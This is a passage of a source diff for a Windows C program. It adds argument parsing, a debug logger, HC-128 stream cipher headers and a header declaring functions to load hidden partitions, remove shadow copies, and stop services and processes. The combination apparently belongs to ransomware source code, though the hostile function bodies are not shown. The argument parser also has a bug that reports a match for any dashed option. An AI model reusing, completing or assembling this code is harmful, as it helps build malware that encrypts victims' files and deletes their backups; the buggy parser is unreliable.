||||
!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT | CRYPT_NEWKEYSET)) hProv = NULL;
|
||||
return hProv;
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
#ifndef __ANOTHER_H
|
||||
#define __ANOTHER_H
|
||||
|
||||
void _load_hidden_partitions();
|
||||
void _remove_shadows();
|
||||
void _stop_services();
|
||||
void _stop_processes();
|
||||
HCRYPTPROV gen_context();
|
||||
|
||||
#endif
|
|
@ -0,0 +1,76 @@
|
|||
#include "args.h"
|
||||
|
||||
bool argz_option(int argc, wchar_t* argv[], const wchar_t* option) {
|
||||
/*
|
||||
option(argc, argv, option);
|
||||
Checks if a given option is active in the arguments.
|
||||
*/
|
||||
wchar_t* arg;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
if (*arg == L'-') { /* Options begin with a dash, anything else is an argument */
|
||||
while (*arg == L'-') { /* Skip past the dashes */
|
||||
arg++;
|
||||
}
|
||||
while (*option) { /* Compare the current option with the given one */
|
||||
if (*option != *arg) {
|
||||
break; /* Uh oh, no match */
|
||||
}
|
||||
option++;
|
||||
arg++;
|
||||
}
|
||||
return true; /* There was a match */
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t* argz_arg(int argc, wchar_t* argv[], int index) {
|
||||
/*
|
||||
arg(argc, argv, index);
|
||||
Gets the argument at the given index in argv.
|
||||
*/
|
||||
wchar_t* arg;
|
||||
int opts = 0;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
if (*arg != L'-') { /* Hooray, we found an argument that is not an option */
|
||||
if (i - opts - 1 == index) {
|
||||
return arg; /* Yay, a match */
|
||||
}
|
||||
} else { /* Uh oh, we found an option */
|
||||
opts++;
|
||||
}
|
||||
}
|
||||
return 0; /* Return null string if no match was found */
|
||||
}
|
||||
|
||||
wchar_t* argz_value(int argc, wchar_t* argv[], const wchar_t* key) {
|
||||
/*
|
||||
value(argc, argv, key);
|
||||
Get the value of the given key option (--x=y).
|
||||
*/
|
||||
wchar_t* arg;
|
||||
int miss;
|
||||
for (int i = 1; i < argc; i++) { /* Iterate over all arguments */
|
||||
arg = argv[i];
|
||||
miss = 0;
|
||||
if (*arg == L'-') { /* We only care about options */
|
||||
while (*arg == L'-') { /* Skip the starting dashes */
|
||||
arg++;
|
||||
}
|
||||
while (*arg != L'=') { /* Compare the key, but stop before the value */
|
||||
if (*arg != *key) {
|
||||
miss++;
|
||||
}
|
||||
arg++;
|
||||
key++;
|
||||
}
|
||||
if (miss == 0) { /* No difference between given key and this key, return the value */
|
||||
arg++;
|
||||
return arg;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0; /* Return null if no match was found */
|
||||
}
|
|
@ -0,0 +1,11 @@
|
|||
#ifndef ARGS_H
|
||||
#define ARGS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
|
||||
bool argz_option(int argc, wchar_t* argv[], const wchar_t* option);
|
||||
wchar_t* argz_arg(int argc, wchar_t* argv[], int index);
|
||||
wchar_t* argz_value(int argc, wchar_t* argv[], const wchar_t* key);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,31 @@
|
|||
#include <windows.h>
|
||||
|
||||
#include "debug.h"
|
||||
|
||||
static HANDLE h_log_file = 0;
|
||||
static CRITICAL_SECTION critSection;
|
||||
|
||||
void _dbg_initialize(WCHAR* logFile) {
|
||||
InitializeCriticalSection(&critSection);
|
||||
h_log_file = CreateFileW(logFile, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
}
|
||||
|
||||
void _dbg_report(LPCSTR message, LPCSTR target, DWORD error) {
|
||||
CHAR err[20];
|
||||
DWORD dw;
|
||||
|
||||
EnterCriticalSection(&critSection);
|
||||
wsprintfA(err, "%lu", error);
|
||||
WriteFile(h_log_file, message, lstrlenA(message), &dw, 0);
|
||||
WriteFile(h_log_file, ", Error Code: ", 14, &dw, 0);
|
||||
WriteFile(h_log_file, err, lstrlenA(err), &dw, 0);
|
||||
WriteFile(h_log_file, " -> ", 4, &dw, 0);
|
||||
WriteFile(h_log_file, target, lstrlenA(target), &dw, 0);
|
||||
WriteFile(h_log_file, "\r\n", 2, &dw, 0);
|
||||
LeaveCriticalSection(&critSection);
|
||||
}
|
||||
|
||||
void _dbg_uninitialize() {
|
||||
DeleteCriticalSection(&critSection);
|
||||
CloseHandle(h_log_file);
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
#ifndef __H_DEBUG_
|
||||
#define __H_DEBUG_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
void _dbg_report(LPCSTR message, LPCSTR target, DWORD error);
|
||||
void _dbg_initialize(WCHAR* logFile);
|
||||
void _dbg_uninitialize();
|
||||
|
||||
#endif
|
|
@ -0,0 +1,272 @@
|
|||
/* ecrypt-config.h */
|
||||
|
||||
/* *** Normally, it should not be necessary to edit this file. *** */
|
||||
|
||||
#ifndef ECRYPT_CONFIG
|
||||
#define ECRYPT_CONFIG
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Guess the endianness of the target architecture. */
|
||||
|
||||
/*
|
||||
* The LITTLE endian machines:
|
||||
*/
|
||||
#if defined(__ultrix) /* Older MIPS */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__alpha) /* Alpha */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(i386) /* x86 (gcc) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__i386) /* x86 (gcc) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(_M_IX86) /* x86 (MSC, Borland) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(_MSC_VER) /* x86 (surely MSC) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
#elif defined(__INTEL_COMPILER) /* x86 (surely Intel compiler icl.exe) */
|
||||
#define ECRYPT_LITTLE_ENDIAN
|
||||
|
||||
/*
|
||||
* The BIG endian machines:
|
||||
*/
|
||||
#elif defined(sun) /* Newer Sparc's */
|
||||
#define ECRYPT_BIG_ENDIAN
|
||||
#elif defined(__ppc__) /* PowerPC */
|
||||
#define ECRYPT_BIG_ENDIAN
|
||||
|
||||
/*
|
||||
* Finally machines with UNKNOWN endianness:
|
||||
*/
|
||||
#elif defined (_AIX) /* RS6000 */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__hpux) /* HP-PA */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__aux) /* 68K */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__dgux) /* 88K (but P6 in latest boxes) */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#elif defined(__sgi) /* Newer MIPS */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#else /* Any other processor */
|
||||
#define ECRYPT_UNKNOWN
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* Find minimal-width types to store 8-bit, 16-bit, 32-bit, and 64-bit
|
||||
* integers.
|
||||
*
|
||||
* Note: to enable 64-bit types on 32-bit compilers, it might be
|
||||
* necessary to switch from ISO C90 mode to ISO C99 mode (e.g., gcc
|
||||
* -std=c99).
|
||||
*/
|
||||
|
||||
#include <limits.h>
|
||||
|
||||
/* --- check char --- */
|
||||
|
||||
#if (UCHAR_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T char
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (UCHAR_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T char
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T char
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UCHAR_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T char
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check short --- */
|
||||
|
||||
#if (USHRT_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T short
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (USHRT_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T short
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T short
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (USHRT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T short
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check int --- */
|
||||
|
||||
#if (UINT_MAX / 0xFU > 0xFU)
|
||||
#ifndef I8T
|
||||
#define I8T int
|
||||
#define U8C(v) (v##U)
|
||||
|
||||
#if (ULONG_MAX == 0xFFU)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFU > 0xFFU)
|
||||
#ifndef I16T
|
||||
#define I16T int
|
||||
#define U16C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFFFU > 0xFFFFU)
|
||||
#ifndef I32T
|
||||
#define I32T int
|
||||
#define U32C(v) (v##U)
|
||||
#endif
|
||||
|
||||
#if (UINT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU)
|
||||
#ifndef I64T
|
||||
#define I64T int
|
||||
#define U64C(v) (v##U)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check long --- */
|
||||
|
||||
#if (ULONG_MAX / 0xFUL > 0xFUL)
|
||||
#ifndef I8T
|
||||
#define I8T long
|
||||
#define U8C(v) (v##UL)
|
||||
|
||||
#if (ULONG_MAX == 0xFFUL)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFUL > 0xFFUL)
|
||||
#ifndef I16T
|
||||
#define I16T long
|
||||
#define U16C(v) (v##UL)
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFFFUL > 0xFFFFUL)
|
||||
#ifndef I32T
|
||||
#define I32T long
|
||||
#define U32C(v) (v##UL)
|
||||
#endif
|
||||
|
||||
#if (ULONG_MAX / 0xFFFFFFFFUL > 0xFFFFFFFFUL)
|
||||
#ifndef I64T
|
||||
#define I64T long
|
||||
#define U64C(v) (v##UL)
|
||||
#define ECRYPT_NATIVE64
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* --- check long long --- */
|
||||
|
||||
#ifdef ULLONG_MAX
|
||||
|
||||
#if (ULLONG_MAX / 0xFULL > 0xFULL)
|
||||
#ifndef I8T
|
||||
#define I8T long long
|
||||
#define U8C(v) (v##ULL)
|
||||
|
||||
#if (ULLONG_MAX == 0xFFULL)
|
||||
#define ECRYPT_I8T_IS_BYTE
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFULL > 0xFFULL)
|
||||
#ifndef I16T
|
||||
#define I16T long long
|
||||
#define U16C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFFFULL > 0xFFFFULL)
|
||||
#ifndef I32T
|
||||
#define I32T long long
|
||||
#define U32C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#if (ULLONG_MAX / 0xFFFFFFFFULL > 0xFFFFFFFFULL)
|
||||
#ifndef I64T
|
||||
#define I64T long long
|
||||
#define U64C(v) (v##ULL)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* --- check __int64 --- */
|
||||
|
||||
#ifdef _UI64_MAX
|
||||
|
||||
#if (_UI64_MAX / 0xFFFFFFFFui64 > 0xFFFFFFFFui64)
|
||||
#ifndef I64T
|
||||
#define I64T __int64
|
||||
#define U64C(v) (v##ui64)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
|
@ -0,0 +1,40 @@
|
|||
/* ecrypt-machine.h */
|
||||
|
||||
/*
|
||||
* This file is included by 'ecrypt-portable.h'. It allows to override
|
||||
* the default macros for specific platforms. Please carefully check
|
||||
* the machine code generated by your compiler (with optimisations
|
||||
* turned on) before deciding to edit this file.
|
||||
*/
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#if (defined(ECRYPT_DEFAULT_ROT) && !defined(ECRYPT_MACHINE_ROT))
|
||||
|
||||
#define ECRYPT_MACHINE_ROT
|
||||
|
||||
#if (defined(WIN32) && defined(_MSC_VER))
|
||||
|
||||
#undef ROTR32
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#define ROTR32(x,n) (((x)>>(n))|((x)<<(32-(n))))
|
||||
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#if (defined(ECRYPT_DEFAULT_SWAP) && !defined(ECRYPT_MACHINE_SWAP))
|
||||
|
||||
#define ECRYPT_MACHINE_SWAP
|
||||
|
||||
/*
|
||||
* If you want to overwrite the default swap macros, put it here. And so on.
|
||||
*/
|
||||
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
|
@ -0,0 +1,303 @@
|
|||
/* ecrypt-portable.h */
|
||||
|
||||
/*
|
||||
* WARNING: the conversions defined below are implemented as macros,
|
||||
* and should be used carefully. They should NOT be used with
|
||||
* parameters which perform some action. E.g., the following two lines
|
||||
* are not equivalent:
|
||||
*
|
||||
* 1) ++x; y = ROTL32(x, n);
|
||||
* 2) y = ROTL32(++x, n);
|
||||
*/
|
||||
|
||||
/*
|
||||
* *** Please do not edit this file. ***
|
||||
*
|
||||
* The default macros can be overridden for specific architectures by
|
||||
* editing 'ecrypt-machine.h'.
|
||||
*/
|
||||
|
||||
#ifndef ECRYPT_PORTABLE
|
||||
#define ECRYPT_PORTABLE
|
||||
|
||||
#include "ecrypt-config.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following types are defined (if available):
|
||||
*
|
||||
* u8: unsigned integer type, at least 8 bits
|
||||
* u16: unsigned integer type, at least 16 bits
|
||||
* u32: unsigned integer type, at least 32 bits
|
||||
* u64: unsigned integer type, at least 64 bits
|
||||
*
|
||||
* s8, s16, s32, s64 -> signed counterparts of u8, u16, u32, u64
|
||||
*
|
||||
* The selection of minimum-width integer types is taken care of by
|
||||
* 'ecrypt-config.h'. Note: to enable 64-bit types on 32-bit
|
||||
* compilers, it might be necessary to switch from ISO C90 mode to ISO
|
||||
* C99 mode (e.g., gcc -std=c99).
|
||||
*/
|
||||
|
||||
#ifdef I8T
|
||||
typedef signed I8T s8;
|
||||
typedef unsigned I8T u8;
|
||||
#endif
|
||||
|
||||
#ifdef I16T
|
||||
typedef signed I16T s16;
|
||||
typedef unsigned I16T u16;
|
||||
#endif
|
||||
|
||||
#ifdef I32T
|
||||
typedef signed I32T s32;
|
||||
typedef unsigned I32T u32;
|
||||
#endif
|
||||
|
||||
#ifdef I64T
|
||||
typedef signed I64T s64;
|
||||
typedef unsigned I64T u64;
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The following macros are used to obtain exact-width results.
|
||||
*/
|
||||
|
||||
#define U8V(v) ((u8)(v) & U8C(0xFF))
|
||||
#define U16V(v) ((u16)(v) & U16C(0xFFFF))
|
||||
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
|
||||
#define U64V(v) ((u64)(v) & U64C(0xFFFFFFFFFFFFFFFF))
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following macros return words with their bits rotated over n
|
||||
* positions to the left/right.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_ROT
|
||||
|
||||
#define ROTL8(v, n) \
|
||||
(U8V((v) << (n)) | ((v) >> (8 - (n))))
|
||||
|
||||
#define ROTL16(v, n) \
|
||||
(U16V((v) << (n)) | ((v) >> (16 - (n))))
|
||||
|
||||
#define ROTL32(v, n) \
|
||||
(U32V((v) << (n)) | ((v) >> (32 - (n))))
|
||||
|
||||
#define ROTL64(v, n) \
|
||||
(U64V((v) << (n)) | ((v) >> (64 - (n))))
|
||||
|
||||
#define ROTR8(v, n) ROTL8(v, 8 - (n))
|
||||
#define ROTR16(v, n) ROTL16(v, 16 - (n))
|
||||
#define ROTR32(v, n) ROTL32(v, 32 - (n))
|
||||
#define ROTR64(v, n) ROTL64(v, 64 - (n))
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/*
|
||||
* The following macros return a word with bytes in reverse order.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_SWAP
|
||||
|
||||
#define SWAP16(v) \
|
||||
ROTL16(v, 8)
|
||||
|
||||
#define SWAP32(v) \
|
||||
((ROTL32(v, 8) & U32C(0x00FF00FF)) | \
|
||||
(ROTL32(v, 24) & U32C(0xFF00FF00)))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define SWAP64(v) \
|
||||
((ROTL64(v, 8) & U64C(0x000000FF000000FF)) | \
|
||||
(ROTL64(v, 24) & U64C(0x0000FF000000FF00)) | \
|
||||
(ROTL64(v, 40) & U64C(0x00FF000000FF0000)) | \
|
||||
(ROTL64(v, 56) & U64C(0xFF000000FF000000)))
|
||||
#else
|
||||
#define SWAP64(v) \
|
||||
(((u64)SWAP32(U32V(v)) << 32) | (u64)SWAP32(U32V(v >> 32)))
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
#define ECRYPT_DEFAULT_WTOW
|
||||
|
||||
#ifdef ECRYPT_LITTLE_ENDIAN
|
||||
#define U16TO16_LITTLE(v) (v)
|
||||
#define U32TO32_LITTLE(v) (v)
|
||||
#define U64TO64_LITTLE(v) (v)
|
||||
|
||||
#define U16TO16_BIG(v) SWAP16(v)
|
||||
#define U32TO32_BIG(v) SWAP32(v)
|
||||
#define U64TO64_BIG(v) SWAP64(v)
|
||||
#endif
|
||||
|
||||
#ifdef ECRYPT_BIG_ENDIAN
|
||||
#define U16TO16_LITTLE(v) SWAP16(v)
|
||||
#define U32TO32_LITTLE(v) SWAP32(v)
|
||||
#define U64TO64_LITTLE(v) SWAP64(v)
|
||||
|
||||
#define U16TO16_BIG(v) (v)
|
||||
#define U32TO32_BIG(v) (v)
|
||||
#define U64TO64_BIG(v) (v)
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/*
|
||||
* The following macros load words from an array of bytes with
|
||||
* different types of endianness, and vice versa.
|
||||
*/
|
||||
|
||||
#define ECRYPT_DEFAULT_BTOW
|
||||
|
||||
#if (!defined(ECRYPT_UNKNOWN) && defined(ECRYPT_I8T_IS_BYTE))
|
||||
|
||||
#define U8TO16_LITTLE(p) U16TO16_LITTLE(((u16*)(p))[0])
|
||||
#define U8TO32_LITTLE(p) U32TO32_LITTLE(((u32*)(p))[0])
|
||||
#define U8TO64_LITTLE(p) U64TO64_LITTLE(((u64*)(p))[0])
|
||||
|
||||
#define U8TO16_BIG(p) U16TO16_BIG(((u16*)(p))[0])
|
||||
#define U8TO32_BIG(p) U32TO32_BIG(((u32*)(p))[0])
|
||||
#define U8TO64_BIG(p) U64TO64_BIG(((u64*)(p))[0])
|
||||
|
||||
#define U16TO8_LITTLE(p, v) (((u16*)(p))[0] = U16TO16_LITTLE(v))
|
||||
#define U32TO8_LITTLE(p, v) (((u32*)(p))[0] = U32TO32_LITTLE(v))
|
||||
#define U64TO8_LITTLE(p, v) (((u64*)(p))[0] = U64TO64_LITTLE(v))
|
||||
|
||||
#define U16TO8_BIG(p, v) (((u16*)(p))[0] = U16TO16_BIG(v))
|
||||
#define U32TO8_BIG(p, v) (((u32*)(p))[0] = U32TO32_BIG(v))
|
||||
#define U64TO8_BIG(p, v) (((u64*)(p))[0] = U64TO64_BIG(v))
|
||||
|
||||
#else
|
||||
|
||||
#define U8TO16_LITTLE(p) \
|
||||
(((u16)((p)[0]) ) | \
|
||||
((u16)((p)[1]) << 8))
|
||||
|
||||
#define U8TO32_LITTLE(p) \
|
||||
(((u32)((p)[0]) ) | \
|
||||
((u32)((p)[1]) << 8) | \
|
||||
((u32)((p)[2]) << 16) | \
|
||||
((u32)((p)[3]) << 24))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U8TO64_LITTLE(p) \
|
||||
(((u64)((p)[0]) ) | \
|
||||
((u64)((p)[1]) << 8) | \
|
||||
((u64)((p)[2]) << 16) | \
|
||||
((u64)((p)[3]) << 24) | \
|
||||
((u64)((p)[4]) << 32) | \
|
||||
((u64)((p)[5]) << 40) | \
|
||||
((u64)((p)[6]) << 48) | \
|
||||
((u64)((p)[7]) << 56))
|
||||
#else
|
||||
#define U8TO64_LITTLE(p) \
|
||||
((u64)U8TO32_LITTLE(p) | ((u64)U8TO32_LITTLE((p) + 4) << 32))
|
||||
#endif
|
||||
|
||||
#define U8TO16_BIG(p) \
|
||||
(((u16)((p)[0]) << 8) | \
|
||||
((u16)((p)[1]) ))
|
||||
|
||||
#define U8TO32_BIG(p) \
|
||||
(((u32)((p)[0]) << 24) | \
|
||||
((u32)((p)[1]) << 16) | \
|
||||
((u32)((p)[2]) << 8) | \
|
||||
((u32)((p)[3]) ))
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U8TO64_BIG(p) \
|
||||
(((u64)((p)[0]) << 56) | \
|
||||
((u64)((p)[1]) << 48) | \
|
||||
((u64)((p)[2]) << 40) | \
|
||||
((u64)((p)[3]) << 32) | \
|
||||
((u64)((p)[4]) << 24) | \
|
||||
((u64)((p)[5]) << 16) | \
|
||||
((u64)((p)[6]) << 8) | \
|
||||
((u64)((p)[7]) ))
|
||||
#else
|
||||
#define U8TO64_BIG(p) \
|
||||
(((u64)U8TO32_BIG(p) << 32) | (u64)U8TO32_BIG((p) + 4))
|
||||
#endif
|
||||
|
||||
#define U16TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
} while (0)
|
||||
|
||||
#define U32TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
(p)[2] = U8V((v) >> 16); \
|
||||
(p)[3] = U8V((v) >> 24); \
|
||||
} while (0)
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U64TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
(p)[2] = U8V((v) >> 16); \
|
||||
(p)[3] = U8V((v) >> 24); \
|
||||
(p)[4] = U8V((v) >> 32); \
|
||||
(p)[5] = U8V((v) >> 40); \
|
||||
(p)[6] = U8V((v) >> 48); \
|
||||
(p)[7] = U8V((v) >> 56); \
|
||||
} while (0)
|
||||
#else
|
||||
#define U64TO8_LITTLE(p, v) \
|
||||
do { \
|
||||
U32TO8_LITTLE((p), U32V((v) )); \
|
||||
U32TO8_LITTLE((p) + 4, U32V((v) >> 32)); \
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#define U16TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) ); \
|
||||
(p)[1] = U8V((v) >> 8); \
|
||||
} while (0)
|
||||
|
||||
#define U32TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) >> 24); \
|
||||
(p)[1] = U8V((v) >> 16); \
|
||||
(p)[2] = U8V((v) >> 8); \
|
||||
(p)[3] = U8V((v) ); \
|
||||
} while (0)
|
||||
|
||||
#ifdef ECRYPT_NATIVE64
|
||||
#define U64TO8_BIG(p, v) \
|
||||
do { \
|
||||
(p)[0] = U8V((v) >> 56); \
|
||||
(p)[1] = U8V((v) >> 48); \
|
||||
(p)[2] = U8V((v) >> 40); \
|
||||
(p)[3] = U8V((v) >> 32); \
|
||||
(p)[4] = U8V((v) >> 24); \
|
||||
(p)[5] = U8V((v) >> 16); \
|
||||
(p)[6] = U8V((v) >> 8); \
|
||||
(p)[7] = U8V((v) ); \
|
||||
} while (0)
|
||||
#else
|
||||
#define U64TO8_BIG(p, v) \
|
||||
do { \
|
||||
U32TO8_BIG((p), U32V((v) >> 32)); \
|
||||
U32TO8_BIG((p) + 4, U32V((v) )); \
|
||||
} while (0)
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
#include "ecrypt-machine.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
#endif
|
|
@ -0,0 +1,396 @@
|
|||
/* ecrypt-sync.h */
|
||||
|
||||
/*
|
||||
* Header file for synchronous stream ciphers without authentication
|
||||
* mechanism.
|
||||
*
|
||||
* *** Please only edit parts marked with "[edit]". ***
|
||||
*/
|
||||
#ifndef ECRYPT_SYNC
|
||||
#define ECRYPT_SYNC
|
||||
|
||||
#include "ecrypt-portable.h"
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Cipher parameters */
|
||||
|
||||
/*
|
||||
* The name of your cipher.
|
||||
*/
|
||||
#define ECRYPT_NAME "HC-128" /* [edit] */
|
||||
#define ECRYPT_PROFILE "SW"
|
||||
|
||||
/*
|
||||
* Specify which key and IV sizes are supported by your cipher. A user
|
||||
* should be able to enumerate the supported sizes by running the
|
||||
* following code:
|
||||
*
|
||||
* for (i = 0; ECRYPT_KEYSIZE(i) <= ECRYPT_MAXKEYSIZE; ++i)
|
||||
* {
|
||||
* keysize = ECRYPT_KEYSIZE(i);
|
||||
*
|
||||
* ...
|
||||
* }
|
||||
*
|
||||
* All sizes are in bits.
|
||||
*/
|
||||
|
||||
/*
|
||||
*Remarks: One key size is supported: 128 bits
|
||||
* One IV size is supported: 128 bits
|
||||
*
|
||||
* The other key, IV sizes can also be used in HC-128,
|
||||
* but not recommended:
|
||||
* 1) For any key with size not equal to 128,
|
||||
* the key needs to be concatenated to a 128-bit key
|
||||
* before being used in HC-128.
|
||||
* 2) For any IV with size not equal to 128,
|
||||
* the IV needs to be concatenated to a 128-bit IV
|
||||
* before being used in HC-128
|
||||
*
|
||||
*Caution: Two keys with different sizes should be independently generated
|
||||
* Two IVs with different sizes should not be used with the same key
|
||||
*
|
||||
*Recommended: 128-bit IV for 128-bit key;
|
||||
*/
|
||||
|
||||
#define ECRYPT_MAXKEYSIZE 128 /* [edit] */
|
||||
#define ECRYPT_KEYSIZE(i) (128 + (i)*128) /* [edit] */
|
||||
|
||||
#define ECRYPT_MAXIVSIZE 128 /* [edit] */
|
||||
#define ECRYPT_IVSIZE(i) (128 + (i)*128) /* [edit] */
|
||||
|
||||
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Data structures */
|
||||
|
||||
/*
|
||||
* ECRYPT_ctx is the structure containing the representation of the
|
||||
* internal state of your cipher.
|
||||
*/
|
||||
|
||||
typedef struct
|
||||
{
|
||||
/*
|
||||
* [edit]
|
||||
*
|
||||
* Put here all state variable needed during the encryption process.
|
||||
*/
|
||||
u32 T[1024]; /* P[i] = T[i]; Q[i] = T[1024+i];*/
|
||||
u32 X[16];
|
||||
u32 Y[16];
|
||||
u32 counter1024; /*counter1024 = i mod 1024 at the i-th step */
|
||||
u32 key[8];
|
||||
u32 iv[8];
|
||||
u32 keysize; /* key size in bits */
|
||||
u32 ivsize; /* iv size in bits*/
|
||||
} ECRYPT_ctx;
|
||||
|
||||
/*-------------------------------------
|
||||
Added functions
|
||||
---------------------------------------*/
|
||||
|
||||
void generate_keystream(ECRYPT_ctx* ctx, u32* keystream);
|
||||
|
||||
void setup_update(ECRYPT_ctx* ctx);
|
||||
|
||||
/* ------------------------------------------------------------------------- */
|
||||
|
||||
/* Mandatory functions */
|
||||
|
||||
/*
|
||||
* Key and message independent initialization. This function will be
|
||||
* called once when the program starts (e.g., to build expanded S-box
|
||||
* tables).
|
||||
*/
|
||||
void ECRYPT_init(void);
|
||||
|
||||
/*
|
||||
* Key setup. It is the user's responsibility to select the values of
|
||||
* keysize and ivsize from the set of supported values specified
|
||||
* above.
|
||||
*/
|
||||
void ECRYPT_keysetup(
|
||||
